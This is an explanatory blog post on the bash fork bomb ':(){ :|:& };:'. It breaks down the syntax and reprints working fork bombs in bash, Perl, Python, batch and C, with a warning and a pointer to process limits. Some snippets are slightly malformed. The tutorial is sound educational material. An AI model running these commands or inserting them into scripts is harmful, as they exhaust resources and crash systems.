In-Depth understanding fork() Bomb ~ :(){ :|:& };:

The concept behind a fork bomb — the processes continually replicate themselves, potentially causing a denial of service

Can you explain the following bash code or bash fork() bomb?

:(){ :|:& };:

The fork bomb is a form of denial-of-service (DoS) attack against a Linux based system. It makes use of the fork operation.
:(){ :|:& };: is nothing but a bash function. This function get executed recursively. It is often used by sys admin to test user process limitations. Linux process limits can be configured via /etc/security/limits.conf and PAM.
Once a successful fork bomb has been activated in a system it may not be possible to resume normal operation without rebooting the system as the only solution to a fork bomb is to destroy all instances of it.
WARNING! These examples may crash your computer if executed.

Understanding :(){ :|:& };: fork() bomb code

:() - Defined the function called :. This function accepts no arguments. The syntax for bash function is as follows:
foo(){
 arg1=$1
 arg2=$2
 echo 'Bar..'
 #do_something on $arg argument
}
 fork() bomb is defined as follows:
:(){
 :|:&
};:

:|: - Next it will call itself using programming technique called recursion and pipes the output to another call of the function ':'. The worst part is function get called two times to bomb your system.
& - Puts the function call in the background so child cannot die at all and start eating system resources.
; - Terminate the function definition
: - Call (run) the function aka set the fork() bomb.
Here is more human readable code:
bomb() {
 bomb | bomb &
}; bomb
Properly configured Linux / UNIX box should not go down when fork() bomb sets off.
Fork bomb examples under Perl, Windows XP and C.
Perl exmaple:
perl -e "fork while fork" &
Python example:
import os
  while(1):
      os.fork()
Windows XP / Vista bat file example:
:bomb
start %0
goto bomb
UNIX style for Windows:
%0|%0
C program example:
#include
 int main() {   while(1)      fork();  } 
Plz note that the fork bomb is a form of denial of service, so don’t run on production or unauthorized system.

Part 2: Defusing Fork Bomb 
Part 3: Preventing Fork Bomb


Source:nixcraft

Regards,
Hardeep Singh aka cyb3r.glaiat0r

Comments

Popular posts from this blog

How to hack your xbox 360 completely

Defusing Fork Bomb

Wii Remote IR Camera Hack with Arduino Interface